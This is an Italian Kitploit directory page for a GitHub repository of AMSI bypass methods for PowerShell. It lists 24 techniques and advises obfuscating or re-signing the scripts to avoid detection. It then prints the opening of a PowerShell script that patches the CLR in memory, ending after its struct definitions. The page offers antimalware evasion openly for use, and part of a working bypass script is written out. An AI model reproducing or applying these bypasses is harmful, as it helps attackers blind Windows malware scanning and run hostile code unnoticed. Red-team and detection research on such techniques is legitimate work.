Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Amsi-Bypass-Powershell — Questo repository contiene alcuni metodi di bypass di AMSI che ho trovato in diversi blog post. | Kitploit
Strumenti/GitHubGitHub/s3cur3th1ssh1t/amsi-bypass-powershell
Strumenti DifensiviExploitEvasione IDS/IPSRed TeamingSviluppo Payload
GitHubs3cur3th1ssh1t/amsi-bypass-powershell

Amsi-Bypass-Powershell

Questo repository contiene alcuni metodi di bypass di AMSI che ho trovato in diversi blog post.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
2.2k333671 anno faRevisionato da Kitploit
Condividi

Sponsorizzato da

     

Amsi-Bypass-Powershell

Questo repository contiene alcuni metodi di bypass / elusione dell'Antimalware Scan Interface (AMSI) che ho trovato in diversi post di blog.

La maggior parte degli script vengono rilevati da AMSI stesso. Quindi devi trovare il trigger e cambiare la firma nella parte tramite rinomina di variabili/funzioni, sostituzione di stringhe o codifica e decodifica in fase di esecuzione. In alternativa, offuscali tramite ISESteroids e/o Invoke-Obfuscation per farli funzionare. Puoi anche dare un'occhiata al mio post sul blog sulla modifica manuale della firma per ottenere di nuovo un bypass valido.

  1. Patch di AmsiScanBuffer in clr.dll
  2. ScriptBlock Smuggling
  3. Modifica di ScanContent tramite Reflection
  4. Utilizzo degli Hardware Breakpoints
  5. Utilizzo dell'hooking di CLR
  6. Patch della DLL del provider di Microsoft MpOav.dll
  7. Intercettazione della scansione e patching della funzione del provider
  8. Patch di AMSI AmsiScanBuffer di rasta-mouse
  9. Patch di AMSI AmsiOpenSession
  10. Non utilizzare net webclient - questo non funziona più
  11. Patch di Amsi ScanBuffer da -> https://www.contextis.com/de/blog/amsi-bypass
  12. Forzare un errore
  13. Disabilitare il logging degli script
  14. Patch di Amsi Buffer - In memoria
  15. Come il 6 ma con byte interi invece di Base64
  16. Utilizzo del metodo Reflection di Matt Graeber
  17. Utilizzo del metodo Reflection di Matt Graeber con bypass dell'autologging di WMF5
  18. Utilizzo del secondo metodo Reflection di Matt Graeber
  19. Utilizzo del metodo di hijack DLL di Cornelis de Plaa
  20. Usa PowerShell Versione 2 - Nessun supporto AMSI lì
  21. Nishang tutto in uno
  22. Patch di Adam Chester
  23. Versione modificata del 3. Patch di Amsi ScanBuffer - nessuna compilazione con CSC.exe
  24. Patch dell'indirizzo di AmsiScanBuffer in System.Management.Automation.dll

Patch di CLR

  • Spiegato qui Modifica della DLL CLR in memoria```powershell

Define Constants

$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260

Helper functions

function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) }

function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true }

if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
Scarica lo strumento